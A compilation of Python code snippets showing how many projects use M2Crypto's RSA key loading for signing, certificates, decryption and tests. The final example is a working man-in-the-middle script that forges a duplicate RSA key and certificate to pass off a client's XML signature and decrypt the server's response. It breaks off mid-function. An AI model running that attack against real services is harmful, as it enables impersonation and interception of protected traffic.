Example #1
0
 def action_validate(self, cr, uid, ids, context=None):
     if context is None:
         context = {}
     pairkeys = self.read(cr, uid, ids, ["key", "pub"], context=context)
     confirm_ids = []
     for pk in pairkeys:
         # Check public key
         try:
             PUB = BIO.MemoryBuffer(pk["pub"].encode("ascii"))
             RSA.load_pub_key_bio(PUB)
             pub = True
         except:
             pub = False
         # Check private key
         try:
             RSA.load_key_string(pk["key"].encode("ascii"))
             key = True
         except:
             key = False
         if key or pub:
             confirm_ids.append(pk["id"])
         else:
             raise osv.except_osv(
                 _("Invalid action !"),
                 _("Cannot confirm invalid pairkeys. You need provide private and public keys in PEM format."),
             )
     self.write(cr, uid, confirm_ids, {"state": "confirmed"}, context=context)
     return True
Example #2
0
 def action_validate(self, cr, uid, ids, context=None):
     if context is None:
         context = {}
     pairkeys = self.read(cr, uid, ids, ['key', 'pub'], context=context)
     confirm_ids = []
     for pk in pairkeys:
         # Check public key
         try:
             PUB = BIO.MemoryBuffer(pk['pub'].encode('ascii'))
             RSA.load_pub_key_bio(PUB)
             pub = True
         except:
             pub = False
         # Check private key
         try:
             RSA.load_key_string(pk['key'].encode('ascii'))
             key = True
         except:
             key = False
         if key or pub:
             confirm_ids.append(pk['id'])
         else:
             raise osv.except_osv(_('Invalid action !'),
                                  _('Cannot confirm invalid pairkeys. You need provide private and public keys in PEM format.'))
     return True
Example #3
0
    def bogus(self):
        bogus = []
        if self.content:
            try:
                RSA.load_key_string(self.content)
            except Exception:
                bogus.append("Invalid key data")
        else:
            bogus.append("No key data provided")

        return bogus
 def _restore_level1(self, newpassword, adminpassword):
     '''
     Restores a lost passwort of an user with security level 1
     The Rescue password is symmetrical encrypted
     '''
     x = self._sym_decrypt(self._private_key_rescue, adminpassword)
     try:
         RSA.load_key_string(x)
     except:
         raise WrongPasswordError("Could not restore Private Key with Admin Password")
     self._private_key = self._sym_encrypt(x, newpassword)
     return True
Example #5
0
  def MakeCert(self, req):
    """Make new cert for the client."""
    # code inspired by M2Crypto unit tests

    cert = X509.X509()
    # Use the client CN for a cert serial_id. This will ensure we do
    # not have clashing cert id.
    cert.set_serial_number(int(self.cn.Basename().split(".")[1], 16))
    cert.set_version(2)
    cert.set_subject(req.get_subject())
    t = long(time.time()) - 10
    now = ASN1.ASN1_UTCTIME()
    now.set_time(t)
    now_plus_year = ASN1.ASN1_UTCTIME()
    now_plus_year.set_time(t + 60 * 60 * 24 * 365)

    # TODO(user): Enforce certificate expiry time, and when close
    # to expiry force client re-enrolment
    cert.set_not_before(now)
    cert.set_not_after(now_plus_year)

    # Get the CA issuer:
    ca_data = config_lib.CONFIG["CA.certificate"]
    ca_cert = X509.load_cert_string(ca_data)
    cert.set_issuer(ca_cert.get_issuer())
    cert.set_pubkey(req.get_pubkey())

    ca_key = RSA.load_key_string(config_lib.CONFIG["PrivateKeys.ca_key"])
    key_pair = EVP.PKey(md="sha256")
    key_pair.assign_rsa(ca_key)

    # Sign the certificate
    cert.sign(key_pair, "sha256")

    return cert
Example #6
0
  def _LoadOurCertificate(self):
    """Loads an RSA key from the certificate.

    If no certificate is found, or it is invalid, we make a new random RSA key,
    and store it as our certificate.

    Returns:
      An RSA key - either from the certificate or a new random key.
    """
    try:
      # This is our private key - make sure it has no password set.
      rsa = RSA.load_key_string(str(self.private_key), callback=lambda x: "")
      self._ParseRSAKey(rsa)

      logging.info("Starting client %s", self.common_name)
    except (X509.X509Error, RSA.RSAError):
      # 65537 is the standard value for e
      rsa = RSA.gen_key(self.BITS, 65537, lambda: None)

      self._ParseRSAKey(rsa)
      logging.info("Client pending enrolment %s", self.common_name)

      # Make new keys
      pk = EVP.PKey()
      pk.assign_rsa(rsa)

      # Save the keys
      self.SavePrivateKey(pk)

    return rsa
Example #7
0
    def scan(self, offset=0, maxlen=None):
        for hit in super(CertScanner, self).scan(offset=offset, maxlen=maxlen):
            signature = self.address_space.read(hit + 4, 3)
            size = self.profile.Object(
                "unsigned be short", offset=hit+2, vm=self.address_space)
            description = None

            if signature.startswith("\x30\x82"):
                data = self.address_space.read(hit, size + 4)
                if X509:
                    try:
                        cert = X509.load_cert_der_string(data)
                        description = utils.SmartStr(cert.get_subject())
                    except X509.X509Error:
                        pass

                yield hit, "X509", data, description

            elif signature.startswith("\x02\x01\x00"):
                data = self.address_space.read(hit, size + 4)
                if RSA:
                    try:
                        pem = ("-----BEGIN RSA PRIVATE KEY-----\n" +
                                 data.encode("base64") +
                                 "-----END RSA PRIVATE KEY-----")
                        key = RSA.load_key_string(pem)
                        description = "Verified: %s" % key.check_key()
                    except Exception:
                        pass

                yield hit, "RSA", data, description
Example #8
0
    def generate_certificate_request(self, cr, uid, ids,
                                     x509_name,
                                     context=None):
        """
        Generate new certificate request for pairkey.
        """
        if context is None:
            context = {}
        r = {}
        for signer in self.browse(cr, uid, ids):
            # Create certificate structure
            pk = EVP.PKey()
            req = X509.Request()
            pem_string = signer.key.encode('ascii') + '\n' + signer.pub.encode('ascii')
            rsa = RSA.load_key_string(pem_string)
            pk.assign_rsa(rsa)
            req.set_pubkey(pk)
            req.set_subject(x509_name)

            # Crete certificate object
            certificate_obj = self.pool.get('crypto.certificate')
            w = {
                'name': x509_name.as_text(),
                'csr': req.as_pem(),
                'pairkey_id': signer.id,
            }
            r[signer.id] = certificate_obj.create(cr, uid, w)
        return r
Example #9
0
    def new_from_pem(cls, pem, passphrase=None, user=None):
        """Create a Key Instance with an existing PEM
        """
        ciph, cb = quiet_passphrase(passphrase)
        key = cls(user=user)
        m2key = RSA.load_key_string(pem, cb)
        key.private = m2key.as_pem(ciph, cb)
        bio = BIO.MemoryBuffer()
        m2key.save_pub_key_bio(bio)
        key.public = bio.read()
        key.length = len(m2key)

        key.save()
        # Find Relations
        if user:
            for cert in Certificate.objects.filter(user=user, key__isnull=True):
                if cert.get_pubkey() == key.public:
                    cert.key = key
                    cert.save()
            for rqst in CertificateRequest.objects.filter(user=user, key__isnull=True):
                if rqst.get_pubkey() == key.public:
                    rqst.key = key
                    rqst.save()
        else:
            for cert in Certificate.objects.filter(user__isnull=True, key__isnull=True):
                if cert.get_pubkey() == key.public:
                    cert.key = key
                    cert.save()
            for rqst in CertificateRequest.objects.filter(user__isnull=True, key__isnull=True):
                if rqst.get_pubkey() == key.public:
                    rqst.key = key
                    rqst.save()
        return key
	def prepareBaseReply(self, request):
		request.setETag("RTSP/1.0")
		request.setResponseCode(200)
		request.setHeader("cseq", request.received_headers["cseq"])
		request.setHeader("audio-jack-status", "connected; type=analog")
		
		if "apple-challenge" in request.received_headers:
			challenge = request.received_headers["apple-challenge"]
			if challenge[-2:] != "==":
				challenge += "=="
			
			data = base64.b64decode(challenge)
			
			host = request.getHost().host
			
			if (host.split(".")) == 4:	# ipv4
				data += socket.inet_pton(socket.AF_INET, host)
			elif host[:7] == "::ffff:":
				data += socket.inet_pton(socket.AF_INET, host[7:])
			else:
				data += socket.inet_pton(socket.AF_INET6, host.split("%")[0])
				
			hwaddr = self.info.deviceid
			for i in range (0, 12, 2):
				data += chr(int(hwaddr[i:i+2], 16))
			
			data = data.ljust(32, '\0')
			#self.dump(data)
		
			key = RSA.load_key_string(AIRPORT_PRIVATE_KEY)
			signature = base64.b64encode(key.private_encrypt(data, RSA.pkcs1_padding))
			if signature[-2:] == "==":
				signature = signature[:-2]
			request.setHeader("apple-response", signature)
Example #11
0
    def verify_hit(self, hit, address_space):
        signature = address_space.read(hit + 4, 3)
        size = self.profile.Object("unsigned be short", offset=hit + 2, vm=address_space)
        description = None

        if signature.startswith("\x30\x82"):
            data = address_space.read(hit, size + 4)
            if X509:
                try:
                    cert = X509.load_cert_der_string(data)
                    description = utils.SmartStr(cert.get_subject())
                except X509.X509Error:
                    pass

            return "X509", data, description

        elif signature.startswith("\x02\x01\x00"):
            data = address_space.read(hit, size + 4)
            if RSA:
                try:
                    pem = "-----BEGIN RSA PRIVATE KEY-----\n" + data.encode("base64") + "-----END RSA PRIVATE KEY-----"
                    key = RSA.load_key_string(pem)
                    description = "Verified: %s" % key.check_key()
                except Exception:
                    pass

            return "RSA", data, description

        return None, None, None
	def render_ANNOUNCE(self, request):
		print "[SIFTeam OpenAirPlay] " + str(request)

		self.prepareBaseReply(request)
		
		content = request.content.read()
		for row in content.split("\n"):
			row = row.strip()
			if row[:2] != "a=":
				continue
				
			row = row[2:]
			seppos = row.find(":")
			key = row[:seppos].strip()
			value = row[seppos+1:].strip()
		
			if key == "aesiv" or key == "rsaaeskey":
				if value[-2:] != "==":
					value += "=="
					
			if key == "aesiv":
				self.aesiv = base64.b64decode(value)
			elif key == "rsaaeskey":
				self.rsaaeskey = base64.b64decode(value)
				key = RSA.load_key_string(AIRPORT_PRIVATE_KEY)
				self.rsaaeskey = key.private_decrypt(self.rsaaeskey, RSA.pkcs1_oaep_padding)
			elif key == "fmtp":
				self.fmtp = value
		
		request.write("")
		request.finish()
Example #13
0
def policy_sign(policy):
    rsa_key = RSA.load_key_string(settings.ALBUMS_AMAZON_PRIVATE_KEY)

    return policy_urlsafe(
        rsa_key.sign(
            hashlib.sha1(policy).digest(), 'sha1'
            )
        )
Example #14
0
 def sign(self, data):
     if not self.pub_type:
         m=EVP.MessageDigest("sha1")
         m.update(data)
         digest=m.final()
         key=RSA.load_key_string(self.key, m2util.no_passphrase_callback)
         sign = key.sign(digest, "sha1")
         return OpenSSLEncode(sign)
 def _rsa(self, userpassword):
     '''
     Gets the RSA Object
     '''
     try:
         return RSA.load_key_string("%s%s" % (self.public_key, self._sym_decrypt(self._private_key, userpassword)))
     except:
         raise WrongPasswordError("Could not create RSA Object")
Example #16
0
 def private_key_decrypt_message(self, encrypted_message, private_key):
     """
     decrypt a message using the private_key
     """
     priv = RSA.load_key_string(private_key)
     p = getattr(RSA, 'pkcs1_padding')
     ptxt = priv.public_decrypt(encrypted_message, p)
     return ptxt
Example #17
0
 def __init__(self, conf_path, username, key_path):
     fp = open(conf_path, "r")
     self.config = json.load(fp)
     fp.close()
     fp = open(key_path, "r")
     self.key    = RSA.load_key_string(fp.read())
     fp.close()
     self.username = username
Example #18
0
 def private_key_encrypt_message(self, message, private_key):
     """
     encrypt a message using the private_key
     """
     priv = RSA.load_key_string(private_key)
     
     p = getattr(RSA, 'pkcs1_padding')
     ctxt = priv.private_encrypt(message, p)
     return ctxt
Example #19
0
 def public_encrypt(self, message, private_key):
     """
     this encrypts messages that will be decrypted using private_decrypt
     """
     priv = RSA.load_key_string(private_key)
   
     p = getattr(RSA, 'pkcs1_padding') # can be either 'pkcs1_padding', 'pkcs1_oaep_padding'
     ctxt = priv.public_encrypt(message, p)
     
     return ctxt
Example #20
0
 def load_key(self, key):
     # Key can be a file, an string or an RSA object
     if not isinstance(key, RSA.RSA):
         try:
             key = RSA.load_key(key)
         except:
             key = RSA.load_key_string(key)
     self.key = key
     self.pkey = EVP.PKey()
     self.pkey.assign_rsa(key)
Example #21
0
def rsa_decrypt(text_base64):
    if not text_base64:
        return ''
    try:
        rsa = RSA.load_key_string(PRIVATE_KEY_STRING)
        input = text_base64.decode('base64')
        decrypted = rsa.private_decrypt(input, RSA.pkcs1_padding)
        return decrypted
    except:
        return ''
Example #22
0
    def make_cert(self, cn, expiration, uid=None):
        """
        Generate an x509 certificate with the Subject set to the cn passed into this method:
        Subject: CN=someconsumer.example.com

        @param cn: ID to be embedded in the certificate
        @type  cn: string

        @param uid: The optional userid.  In pulp, this is the DB document _id
            for both users and consumers.
        @type uid: str

        @return: tuple of PEM encoded private key and certificate
        @rtype:  (str, str)
        """
        # Ensure we are dealing with a string and not unicode
        try:
            cn = str(cn)
        except UnicodeEncodeError:
            cn = encode_unicode(cn)

        log.debug("make_cert: [%s]" % cn)

        #Make a private key
        # Don't use M2Crypto directly as it leads to segfaults when trying to convert
        # the key to a PEM string.  Instead create the key with openssl and return the PEM string
        # Sorta hacky but necessary.
        # rsa = RSA.gen_key(1024, 65537, callback=passphrase_callback)
        private_key_pem = _make_priv_key()
        rsa = RSA.load_key_string(private_key_pem,
                                  callback=util.no_passphrase_callback)

        # Make the Cert Request
        req, pub_key = _make_cert_request(cn, rsa, uid=uid)

        # Sign it with the Pulp server CA
        # We can't do this in m2crypto either so we have to shell out

        ca_cert = config.config.get('security', 'cacert')
        ca_key = config.config.get('security', 'cakey')

        sn = SerialNumber()
        serial = sn.next()

        cmd = 'openssl x509 -req -sha1 -CA %s -CAkey %s -set_serial %s -days %d' % \
                (ca_cert, ca_key, serial, expiration)
        p = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE,
                stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
        output = p.communicate(input=req.as_pem())[0]
        p.wait()
        exit_code = p.returncode
        if exit_code != 0:
            raise Exception("error signing cert request: %s" % output)
        cert_pem_string = output[output.index("-----BEGIN CERTIFICATE-----"):]
        return private_key_pem, cert_pem_string
Example #23
0
def load_proxy(proxy):
    certs, keys = split_proxy(proxy)
    if len(keys) != 0:
        key = RSA.load_key_string(keys[0])
    else:
        key = None
    chain = X509.X509_Stack()
    for pem in certs:
        chain.push(X509.load_cert_string(pem))

    return key, chain
Example #24
0
 def test_007_test_key_generation(self):
     user = self.users.get_user('test1')
     private_key, fingerprint = user.generate_key_pair('public2')
     key = RSA.load_key_string(private_key, callback=lambda: None)
     bio = BIO.MemoryBuffer()
     public_key = user.get_key_pair('public2').public_key
     key.save_pub_key_bio(bio)
     converted = crypto.ssl_pub_to_ssh_pub(bio.read())
     # assert key fields are equal
     self.assertEqual(public_key.split(" ")[1].strip(),
                      converted.split(" ")[1].strip())
Example #25
0
 def private_decrypt(self, encrypted_message, private_key):
     """
     this decrypts messages encrypted using public_encrypt
     """
     
     priv = RSA.load_key_string(private_key)
     
     p = getattr(RSA, 'pkcs1_padding') # can be either 'pkcs1_padding', 'pkcs1_oaep_padding'
     ptxt = priv.private_decrypt(encrypted_message, p)
     
     return ptxt
Example #26
0
  def GetPrivateKey(self, callback=None):
    if callback is None:
      callback = lambda: ""

    # Cache the decoded private key so it does not need to be unlocked all the
    # time. Unfortunately due to M2Crypto's horrible memory management issues we
    # can only ever hold a reference to strings so we need to PEM encode the
    # private key with no password and cache that.
    if self._private_key_cache:
      return RSA.load_key_string(self._private_key_cache)

    # Unlock the private key if needed.
    private_key = RSA.load_key_string(self._value, callback=callback)

    # Re-encode it as a PEM and cache that.
    m = BIO.MemoryBuffer()
    private_key.save_key_bio(m, cipher=None)
    self._private_key_cache = m.getvalue()

    return private_key
Example #27
0
    def set_private_key_string(self, private_key_string):

        # convert from unicode, as this can throw off the key parsing
        private_key_string = str(private_key_string)

        private_key_string = add_pem_headers(private_key_string, "RSA PRIVATE KEY")
        
        if self._using_m2crypto:
            self._private_key = M2RSA.load_key_string(private_key_string)
            self._public_key = M2RSA.RSA_pub(self._private_key.rsa)
        else:
            self._private_key = PYRSA.PrivateKey.load_pkcs1(private_key_string)
Example #28
0
 def __get_password_cb__(self, kwargs, callback):
     try:
         passwd_data = self.user_session.clc.get_password_data(kwargs['instanceid'])
         priv_key_file = self.request.files['priv_key']
         user_priv_key = RSA.load_key_string(priv_key_file[0].body)
         string_to_decrypt = base64.b64decode(passwd_data)
         ret = user_priv_key.private_decrypt(string_to_decrypt, RSA.pkcs1_padding)
         ret = {'instance':kwargs['instanceid'], 'password': ret}
         Threads.instance().invokeCallback(callback, eucaconsole.cachingclcinterface.Response(data=ret))
     except Exception as ex:
         traceback.print_exc(file=sys.stdout)
         Threads.instance().invokeCallback(callback, eucaconsole.cachingclcinterface.Response(error=ex))
Example #29
0
def decrypt_password(private_key, encrypted_password):
    try:
        from M2Crypto import RSA
        private_key = to_str(private_key)
        rsa = RSA.load_key_string(private_key)
        encrypted_password = encrypted_password.decode('base64')
        password = rsa.private_decrypt(encrypted_password, RSA.pkcs1_padding)
        return password
    except Exception as ex:
        traceback.print_exc()
        LOGGER.error('Error decrypting password:' + to_str(ex))
    return encrypted_password
Example #30
0
 def test_key_generation(self):
     result = self._create_key('test')
     private_key = result['private_key']
     key = RSA.load_key_string(private_key, callback=lambda: None)
     bio = BIO.MemoryBuffer()
     public_key = db.key_pair_get(self.context,
                                 self.context.user.id,
                                 'test')['public_key']
     key.save_pub_key_bio(bio)
     converted = crypto.ssl_pub_to_ssh_pub(bio.read())
     # assert key fields are equal
     self.assertEqual(public_key.split(" ")[1].strip(),
                      converted.split(" ")[1].strip())
Example #31
0
 def _set_private_key_string(self, private_key_string):
     self._private_key = M2RSA.load_key_string(
         self.ensure_bytes(private_key_string))
     self._public_key = M2RSA.RSA_pub(self._private_key.rsa)
Example #32
0
def create_proxy(issuer_cred, public_key, lifetime_hours):
    old_proxy = False

    # Standard order is cert, private key, then the chain.
    _begin_idx = issuer_cred.index(_begin_private_key)
    _end_idx = issuer_cred.index(_end_private_key) + len(_end_private_key)
    issuer_key = issuer_cred[_begin_idx:_end_idx]
    issuer_cert = issuer_cred[:_begin_idx]
    issuer_chain = issuer_cert + issuer_cred[_end_idx:]

    proxy = X509.X509()
    proxy.set_version(2)
    serial = get_random_serial()
    proxy.set_serial_number(serial)

    now = long(time.time())
    not_before = ASN1.ASN1_UTCTIME()
    not_before.set_time(now)
    proxy.set_not_before(not_before)

    not_after = ASN1.ASN1_UTCTIME()
    not_after.set_time(now + lifetime_hours * 3600)
    proxy.set_not_after(not_after)

    pkey = EVP.PKey()
    tmp_bio = BIO.MemoryBuffer(str(public_key))
    rsa = RSA.load_pub_key_bio(tmp_bio)
    pkey.assign_rsa(rsa)
    del rsa
    del tmp_bio
    proxy.set_pubkey(pkey)

    issuer = X509.load_cert_string(issuer_cert)

    # Examine the last CN to see if it looks like and old proxy.
    cn_entries = issuer.get_subject().get_entries_by_nid(
        X509.X509_Name.nid["CN"])
    if cn_entries:
        last_cn = cn_entries[-1].get_data()
        old_proxy = (str(last_cn) in ("proxy", "limited proxy"))

    # If the issuer has keyUsage extension, make sure it contains all
    # the values we require.
    try:
        keyUsageExt = issuer.get_ext("keyUsage")
        if keyUsageExt:
            values = keyUsageExt.get_value().split(", ")
            for required in REQUIRED_KEY_USAGE:
                if required not in values:
                    raise InterfaceError(
                        "issuer contains keyUsage without required usage '%s'"
                        % required)
    except LookupError:
        keyUsageExt = None

    # hack to get a copy of the X509 name that we can append to.
    issuer_copy = X509.load_cert_string(issuer_cert)
    proxy_subject = issuer_copy.get_subject()
    if old_proxy:
        proxy_subject.add_entry_by_txt(field="CN",
                                       type=ASN1.MBSTRING_ASC,
                                       entry="proxy",
                                       len=-1,
                                       loc=-1,
                                       set=0)
    else:
        proxy_subject.add_entry_by_txt(field="CN",
                                       type=ASN1.MBSTRING_ASC,
                                       entry=str(serial),
                                       len=-1,
                                       loc=-1,
                                       set=0)
    proxy.set_subject(proxy_subject)
    proxy.set_issuer(issuer.get_subject())

    # create a full proxy (legacy/old or rfc, draft is not supported)
    if old_proxy:
        # For old proxies, there is no spec that defines the interpretation,
        # so the keyUsage extension is more important.
        # TODO: copy extended key usage also?
        if keyUsageExt:
            # Copy from the issuer if it had a keyUsage extension.
            ku_ext = X509.new_extension("keyUsage", keyUsageExt.get_value(), 1)
        else:
            # Otherwise default to this set of usages.
            ku_ext = X509.new_extension(
                "keyUsage",
                "Digital Signature, Key Encipherment, Data Encipherment", 1)
        proxy.add_ext(ku_ext)
    else:
        # For RFC proxies the effictive usage is defined as the intersection
        # of the usage of each cert in the chain. See section 4.2 of RFC 3820.
        # We opt not to add keyUsage.
        pci_ext = X509.new_extension("proxyCertInfo",
                                     "critical,language:Inherit all", 1)
        proxy.add_ext(pci_ext)

    issuer_rsa = RSA.load_key_string(issuer_key)
    sign_pkey = EVP.PKey()
    sign_pkey.assign_rsa(issuer_rsa)
    proxy.sign(pkey=sign_pkey, md="sha1")
    return proxy.as_pem() + issuer_chain
Example #33
0
 def _pri_rsa(self):
     rsa = RSA.load_key_string(self.key)
     return rsa
Example #34
0
#!/bin/env python
import time
import zmq
import MySQLdb
import hashlib
import os
import sys
from M2Crypto import EVP, RSA, util

password = sys.argv[1]
outfile = sys.argv[2]
info = sys.argv[3]
sha1 = EVP.MessageDigest('sha1')
sha1.update(info)
dgst = sha1.final()

key_str = file("/opt/skynet/license/eflypro-pri.key", "rb").read()
#priv = RSA.load_key('./license/eflypro-pri.key')
priv = RSA.load_key_string(key_str, lambda *args: password)
license = priv.sign(dgst, "sha1")
output = open(outfile, 'wb')
output.write(license)
output.close()
sys.exit(1)
Example #35
0
 def from_pem(cls, data):
     newcls = cls.__new__(cls)
     newcls._rsa = RSA.load_key_string(str(data))
     return newcls
Example #36
0
        intnum = random.randint(0, 25)
        lcletter = chr(97 + intnum)
        if serialnum.find(lcletter) == -1:
            serialnum = serialnum + lcletter
    return serialnum.upper()


hardinfo = "WD-" + getSerialNumUnit(
    10) + "/" + realmaindisksn + "/" + getSerialNumUnit(
        10) + "/" + realmainnicmac + "/" + getSerialNumUnit(10)

####################################################################
#Encrypt hardware infomation with the secure transmission public key
####################################################################
stprikeystr = xmlroot.find('stprikey').text
privatekey = RSA.load_key_string(stprikeystr)
encrypthardinfo = privatekey.private_encrypt(hardinfo, RSA.pkcs1_padding)

connection = httplib.HTTPConnection(vhostname + ":" + vport)
header = {'Content-Type': 'application/x-www-form-urlencoded'}
connection.request('POST', '/software/verify/st/' + serialnum, encrypthardinfo,
                   header)
respmsg = connection.getresponse()
if respmsg.status == 200:
    result = respmsg.read()
    resultdict = json.loads(result)
else:
    #print "Connecting to verify server failure for send hardware information"
    sys.exit(103)
#####################################################################
Example #37
0
def sign(request):
    """ method dedicated to sign an external certificate request
    :param request: Django POST request object
    :param POST['csr']: The PEM certificate request
    """
    cert = SSLCertificate()
    cert.cert = ""
    cert.key = ""
    cert.chain = ""
    cert.csr = ""

    if request.method == 'POST':
        dataPosted = request.POST

        error = dict()
        err = None
        try:
            cert.csr = str(dataPosted['csr'])
        except:
            err = True
            error['csr'] = "PEM Certificate request required"
            pass

        if err:
            return render_to_response('cert_sign.html', {
                'cert': cert,
                'error': error
            },
                                      context_instance=RequestContext(request))

        # Check the request
        try:
            x509Request = X509.load_request_string(cert.csr)
        except:
            error['csr'] = "Invalid PEM Certificate Request"
            return render_to_response('cert_sign.html', {
                'cert': cert,
                'error': error
            },
                                      context_instance=RequestContext(request))

        # Get cluster
        cluster = Cluster.objects.get()

        # Find the internal CA's certificate and private key
        internal = cluster.ca_certificate
        ca_key = RSA.load_key_string(internal.key.encode('utf8'))
        ca_cert = X509.load_cert_string(internal.cert.encode('utf8'))

        # Get PKI next serial number
        serial = cluster.ca_serial
        serial += 1

        # Create a certificate from the request
        crt = mk_cert(serial)
        crt.set_pubkey(x509Request.get_pubkey())

        pk = EVP.PKey()
        pk.assign_rsa(ca_key)

        issuer = X509.X509_Name()
        subject = X509.X509_Name()

        fields = str(x509Request.get_subject()).split('/')
        for field in fields:
            tmp = field.split('=')
            if str(tmp[0]) == "CN":
                subject.CN = tmp[1]
                cert.cn = tmp[1]
            elif str(tmp[0]) == "C":
                subject.C = tmp[1]
                cert.c = tmp[1]
            elif str(tmp[0]) == "ST":
                subject.ST = tmp[1]
                cert.st = tmp[1]
            elif str(tmp[0]) == "L":
                subject.L = tmp[1]
                cert.l = tmp[1]
            elif str(tmp[0]) == "O":
                subject.O = tmp[1]
                cert.o = tmp[1]
            elif str(tmp[0]) == "OU":
                subject.OU = tmp[1]
                cert.ou = tmp[1]

        fields = str(ca_cert.get_subject()).split('/')
        for field in fields:
            tmp = field.split('=')
            if str(tmp[0]) == "CN":
                issuer.CN = tmp[1]
            elif str(tmp[0]) == "C":
                issuer.C = tmp[1]
            elif str(tmp[0]) == "ST":
                issuer.ST = tmp[1]
            elif str(tmp[0]) == "L":
                issuer.L = tmp[1]
            elif str(tmp[0]) == "O":
                issuer.O = tmp[1]
            elif str(tmp[0]) == "OU":
                issuer.OU = tmp[1]

        crt.set_subject(subject)
        crt.set_issuer(issuer)

        crt.add_ext(X509.new_extension('basicConstraints', 'CA:FALSE'))
        crt.add_ext(
            X509.new_extension('subjectKeyIdentifier',
                               str(crt.get_fingerprint())))

        try:
            crt.sign(pk, 'sha256')
        except Exception as e:
            print(e)

        # Save serial number
        cluster.ca_serial = serial
        cluster.save()

        # Store the certificate
        cert.cert = crt.as_pem().decode('utf8')
        cert.name = str(crt.get_subject())
        cert.status = 'V'
        cert.issuer = str(internal.issuer)
        cert.validfrom = str(crt.get_not_before().get_datetime())
        cert.validtill = str(crt.get_not_after().get_datetime())
        cert.is_ca = False
        cert.chain = str(internal.cert)
        cert.serial = str(serial)
        cert.save()

        return HttpResponseRedirect('/system/cert/')

    return render_to_response('cert_sign.html', {
        'cert': cert,
    },
                              context_instance=RequestContext(request))
Example #38
0
    def GetPrivateKey(self, callback=None):
        if callback is None:
            callback = lambda: ""

        return RSA.load_key_string(self._value, callback=callback)
Example #39
0
def jarsigner(pem_priv, pem_cert, apk_path, dest_fileobj):
    pk = EVP.PKey()

    if type(pem_priv) == unicode:
        pem_priv = pem_priv.encode('utf-8')

    if type(pem_cert) == unicode:
        pem_cert = pem_cert.encode('utf-8')

    pk.assign_rsa(RSA.load_key_string(pem_priv))
    cert = X509.load_cert_string(pem_cert)

    MANIFEST_MF = \
      'Manifest-Version: 1.0\r\n' \
      'Created-By: 9.0.4 (Oracle Corporation)\r\n' \
      '\r\n'

    SHA1_MAIN_ATTRIBUTES = b64encode(sha1(MANIFEST_MF).digest())

    SIGNER_SF = ''

    with ZipFile(apk_path) as infile:
        with ZipFile(dest_fileobj, "w", ZIP_DEFLATED) as outfile:
            for name in infile.namelist():
                if name.startswith('META-INF'):
                    continue

                content = infile.read(name)
                digest = sha1(content)
                outfile.writestr(name, content)

                manifest_record = 'Name: {}\r\nSHA1-Digest: {}\r\n\r\n'.format(
                    name, b64encode(digest.digest())
                )

                MANIFEST_MF += manifest_record

                sf_record = 'Name: {}\r\nSHA1-Digest: {}\r\n\r\n'.format(
                    name, b64encode(sha1(manifest_record).digest())
                )

                SIGNER_SF += sf_record

            SIGNER_SF = \
              'Signature-Version: 1.0\r\n' \
              'Created-By: 9.0.4 (Oracle Corporation)\r\n' \
              'SHA1-Digest-Manifest: {}\r\n' \
              'SHA1-Digest-Manifest-Main-Attributes: {}\r\n'\
              '\r\n'.format(
                  b64encode(sha1(MANIFEST_MF).digest()),
                  SHA1_MAIN_ATTRIBUTES
            ) + SIGNER_SF

            outfile.writestr('META-INF/MANIFEST.MF', MANIFEST_MF)
            outfile.writestr('META-INF/SIGNER.SF', SIGNER_SF)

            buf = BIO.MemoryBuffer(SIGNER_SF)
            sign = BIO.MemoryBuffer()

            p7 = m2.pkcs7_sign0(
                cert._ptr(), pk._ptr(),
                buf._ptr(), m2.sha1(), m2.PKCS7_DETACHED | m2.PKCS7_NOATTR)
            m2.pkcs7_write_bio_der(p7, sign._ptr())
            m2.pkcs7_free(p7)

            outfile.writestr('META-INF/SIGNER.RSA', sign.read())
Example #40
0
 def init_key_cipher(cls, prikey):
     cls.K_CIPHER = RSA.load_key_string(prikey)
Example #41
0
def main(listeningport=8081, serviceport=8080):
    """
    Runs the attack against the server and client.
    :param listeningport: port the client will connect to
    :param serviceport: port the server is running on
    :return:
    """
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.bind(("127.0.0.1", listeningport))
        s.listen()
        print("Waiting for client connection...")
        connection, address = s.accept()

    with connection:
        print("Client ip: ", address)
        print("Waiting for data...")
        request = b''
        while True:
            # data size found by sniffing with wireshark
            data = connection.recv(8186)
            request += data
            if not data:
                break
            timestarted = time.time()

            # Needed for etree
            data = extractXML(data)

            # Retrieve the client's certificate
            raw_client_key = extractCertFromXML(data)
            cert = b'-----BEGIN CERTIFICATE-----\r\n' + raw_client_key + b'\r\n-----END CERTIFICATE-----'
            key = pubkeyFromPem(
                cert.decode("utf-8"))  # needed for M2Crypto verify
            rsakey = PyRSA.importKey(key.as_der())
            print("Extracted public key from message...")

            # Retrieve signature and the signed data
            signed_data, raw_signature = extractSigData(data)
            print("Extracted signature and SignedInfo from message...")
            #print("0 invalid, 1 valid: ", verifySignature(raw_signature, key, signed_data))  # Sanity check

            # Remove the certificate from the SignedInfo element
            new_signed_data = modifyData(
                signed_data,
                b'<ds:Reference URI="#X509Token">(.+?)</ds:Reference>', b'')
            m = hashlib.sha1()
            m.update(new_signed_data)
            vp = m.digest()

            # Create a duplicate key on the given signature and public key, following the algorithm by Thomas Pornin
            newe, newd, newn = createDuplicateKey(rsakey.e, rsakey.n, vp,
                                                  raw_signature)

            derkey = PyRSA.construct((newn, newe, newd, 17, 19))  # Dummy p, q
            secondarypubkey = RSA.load_key_string(derkey.exportKey('PEM'))

            print("Successfully created secondary key pair!")

            # Create a new CA signed certificate for the duplicate key
            new_cert = makeAndSignCert(secondarypubkey)
            valid = verifySignature(raw_signature,
                                    pubkeyFromPem(new_cert.as_pem()),
                                    new_signed_data)
            if valid:
                print("Successfully created new certificate!")
            else:
                print("Failed to create new certificate!")
                raise

            new_cert_mod = fixedDerFromPem(new_cert.as_pem())

            # Replace the original with the modified certificate
            print("Modifying request with new certificate...")
            new_cert_mod = b''.join(new_cert_mod.splitlines())
            request = replaceSigCert(request, new_cert_mod)

            # Replace the SignedInfo element with the new one
            request = replaceSignedInfo(request, new_signed_data)

            # Send it to the responder and intercept the response
            response = sendToResponder(request, serviceport)

            # no-deo without confidentiality impact:
            # connection.send(response)
            # return

            # Decrypt symmetrical key
            sym_key = extractSymKey(response)

            sym_key_raw = int.from_bytes(sym_key, byteorder='big')
            sym_key_int = pow(sym_key_raw, newd, newn)

            # Encrypt with client public key
            keylength = (len(bin(newn)) - 2) // 8  # in bytes
